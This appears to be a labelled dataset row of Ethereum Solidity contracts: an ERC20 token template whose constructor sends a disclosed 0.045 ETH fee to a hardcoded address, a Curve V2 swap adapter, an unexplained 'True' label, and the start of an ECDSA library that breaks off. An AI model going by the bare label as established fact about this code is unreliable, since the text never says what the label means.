_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.6.2;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
contract CM is Ownable {
string public cmContractType = "erc20";
string public cmImage = "";
string public cmURL = "";
function _setCMImage(string memory image) public onlyOwner {
cmImage = image;
}
function _setCMURL(string memory url) public onlyOwner {
cmURL = url;
}
function _supportCM() internal {
require(msg.value > 45000000000000000 wei);
payable(0x98035297b70Cc88fbC064340Fa52344308eC8910).transfer(45000000000000000 wei);
// Thanks for supporting coinmechanics development!
}
}
contract CMErc20 is ERC20, CM {
constructor(string memory name, string memory symbol, uint256 amount, uint8 decimals) ERC20(name, symbol) public payable {
_supportCM();
cmContractType = "CMErc20";
_setupDecimals(decimals);
_mint(msg.sender, amount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: original_contracts/lib/curve/ICurveV2.sol
pragma solidity 0.7.5;
interface ICurveV2Pool {
function exchange_underlying(uint256 i, uint256 j, uint256 dx, uint256 minDy) external;
function exchange(uint256 i, uint256 j, uint256 dx, uint256 minDy) external;
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: original_contracts/lib/SafeERC20.sol
pragma solidity 0.7.5;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: original_contracts/ITokenTransferProxy.sol
pragma solidity 0.7.5;
interface ITokenTransferProxy {
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
external;
function freeReduxTokens(address user, uint256 tokensToFree) external;
}
// File: original_contracts/lib/Utils.sol
pragma solidity 0.7.5;
library Utils {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address constant ETH_ADDRESS = address(
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE
);
address constant WETH_ADDRESS = address(
0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
);
uint256 constant MAX_UINT = 2 ** 256 - 1;
/**
* @param fromToken Address of the source token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param expectedAmount Expected amount of destination tokens without slippage
* @param beneficiary Beneficiary address
* 0 then 100% will be transferred to beneficiary. Pass 10000 for 100%
* @param referrer referral id
* @param useReduxToken whether to use redux token or not
* @param path Route to be taken for this swap to take place
*/
struct SellData {
address fromToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
bool useReduxToken;
Utils.Path[] path;
}
struct MegaSwapSellData {
address fromToken;
uint256 fromAmount;
uint256 toAmount;
uint256 expectedAmount;
address payable beneficiary;
string referrer;
bool useReduxToken;
Utils.MegaSwapPath[] path;
}
struct BuyData {
address fromToken;
address toToken;
uint256 fromAmount;
uint256 toAmount;
address payable beneficiary;
string referrer;
bool useReduxToken;
Utils.BuyRoute[] route;
}
struct Route {
address payable exchange;
address targetExchange;
uint percent;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
struct MegaSwapPath {
uint256 fromAmountPercent;
Path[] path;
}
struct Path {
address to;
uint256 totalNetworkFee;//Network fee is associated with 0xv3 trades
Route[] routes;
}
struct BuyRoute {
address payable exchange;
address targetExchange;
uint256 fromAmount;
uint256 toAmount;
bytes payload;
uint256 networkFee;//Network fee is associated with 0xv3 trades
}
function ethAddress() internal pure returns (address) {return ETH_ADDRESS;}
function wethAddress() internal pure returns (address) {return WETH_ADDRESS;}
function maxUint() internal pure returns (uint256) {return MAX_UINT;}
function approve(
address addressToApprove,
address token,
uint256 amount
) internal {
if (token != ETH_ADDRESS) {
IERC20 _token = IERC20(token);
uint allowance = _token.allowance(address(this), addressToApprove);
if (allowance < amount) {
_token.safeApprove(addressToApprove, 0);
_token.safeIncreaseAllowance(addressToApprove, MAX_UINT);
}
}
}
function transferTokens(
address token,
address payable destination,
uint256 amount
)
internal
{
if (amount > 0) {
if (token == ETH_ADDRESS) {
(bool result, ) = destination.call{value: amount, gas: 4000}("");
require(result, "Failed to transfer Ether");
}
else {
IERC20(token).safeTransfer(destination, amount);
}
}
}
function tokenBalance(
address token,
address account
)
internal
view
returns (uint256)
{
if (token == ETH_ADDRESS) {
return account.balance;
} else {
return IERC20(token).balanceOf(account);
}
}
/**
* @dev Helper method to refund gas using gas tokens
*/
function refundGas(
address account,
address tokenTransferProxy,
uint256 initialGas
)
internal
{
uint256 freeBase = 14154;
uint256 freeToken = 6870;
uint256 reimburse = 24000;
uint256 tokens = initialGas.sub(
gasleft()).add(freeBase).div(reimburse.mul(2).sub(freeToken)
);
freeGasTokens(account, tokenTransferProxy, tokens);
}
/**
* @dev Helper method to free gas tokens
*/
function freeGasTokens(address account, address tokenTransferProxy, uint256 tokens) internal {
uint256 tokensToFree = tokens;
uint256 safeNumTokens = 0;
uint256 gas = gasleft();
if (gas >= 27710) {
safeNumTokens = gas.sub(27710).div(1148 + 5722 + 150);
}
if (tokensToFree > safeNumTokens) {
tokensToFree = safeNumTokens;
}
ITokenTransferProxy(tokenTransferProxy).freeReduxTokens(account, tokensToFree);
}
}
// File: original_contracts/lib/IExchange.sol
pragma solidity 0.7.5;
/**
* @dev This interface should be implemented by all exchanges which needs to integrate with the paraswap protocol
*/
interface IExchange {
/**
* @dev The function which performs the swap on an exchange.
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
* @param exchange Internal exchange or factory contract address for the exchange. For example Registry address for the Uniswap
* @param payload Any exchange specific data which is required can be passed in this argument in encoded format which
* will be decoded by the exchange. Each exchange will publish it's own decoding/encoding mechanism
*/
//TODO: REMOVE RETURN STATEMENT
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable;
/**
* @dev The function which performs the swap on an exchange.
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Max Amount of source tokens to be swapped
* @param toAmount Destination token amount expected out of this swap
* @param exchange Internal exchange or factory contract address for the exchange. For example Registry address for the Uniswap
* @param payload Any exchange specific data which is required can be passed in this argument in encoded format which
* will be decoded by the exchange. Each exchange will publish it's own decoding/encoding mechanism
*/
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload) external payable;
/**
* @dev This function is used to perform onChainSwap. It build all the parameters onchain. Basically the information
* encoded in payload param of swap will calculated in this case
* Exchange needs to implement this method in order to support swapping of tokens through it
* @param fromToken Address of the source token
* @param toToken Address of the destination token
* @param fromAmount Amount of source tokens to be swapped
* @param toAmount Minimum destination token amount expected out of this swap
*/
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
) external payable returns (uint256);
/**
* @dev Certain adapters/exchanges needs to be initialized.
* This method will be called from Augustus
*/
function initialize(bytes calldata data) external;
/**
* @dev Returns unique identifier for the adapter
*/
function getKey() external pure returns(bytes32);
}
// File: original_contracts/IWETH.sol
pragma solidity 0.7.5;
abstract contract IWETH is IERC20 {
function deposit() external virtual payable;
function withdraw(uint256 amount) external virtual;
}
// File: original_contracts/lib/curve/CurveV2.sol
pragma solidity 0.7.5;
pragma experimental ABIEncoderV2;
contract CurveV2 is IExchange {
struct CurveV2Data {
uint256 i;
uint256 j;
bool underlyingSwap;
}
function initialize(bytes calldata data) external override {
revert("METHOD NOT SUPPORTED");
}
function swap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload
)
external
payable
override
{
CurveV2Data memory curveV2Data = abi.decode(payload, (CurveV2Data));
address _fromToken = address(fromToken);
if (address(fromToken) == Utils.ethAddress()) {
IWETH(Utils.wethAddress()).deposit{value: fromAmount}();
_fromToken = Utils.wethAddress();
}
Utils.approve(address(exchange), address(_fromToken), fromAmount);
if (curveV2Data.underlyingSwap) {
ICurveV2Pool(exchange).exchange_underlying(curveV2Data.i, curveV2Data.j, fromAmount, toAmount);
}
else {
ICurveV2Pool(exchange).exchange(curveV2Data.i, curveV2Data.j, fromAmount, toAmount);
}
if (address(toToken) == Utils.ethAddress()) {
uint256 receivedAmount = Utils.tokenBalance(Utils.wethAddress(), address(this));
IWETH(Utils.wethAddress()).withdraw(receivedAmount);
}
}
function buy(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount,
address exchange,
bytes calldata payload
)
external
payable
override
{
revert("METHOD NOT SUPPORTED");
}
function onChainSwap(
IERC20 fromToken,
IERC20 toToken,
uint256 fromAmount,
uint256 toAmount
)
external
override
payable
returns (uint256)
{
revert("METHOD NOT SUPPORTED");
}
function getKey() public override pure returns(bytes32) {
return keccak256(abi.encodePacked("CURVEV2", "1.0.0"));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
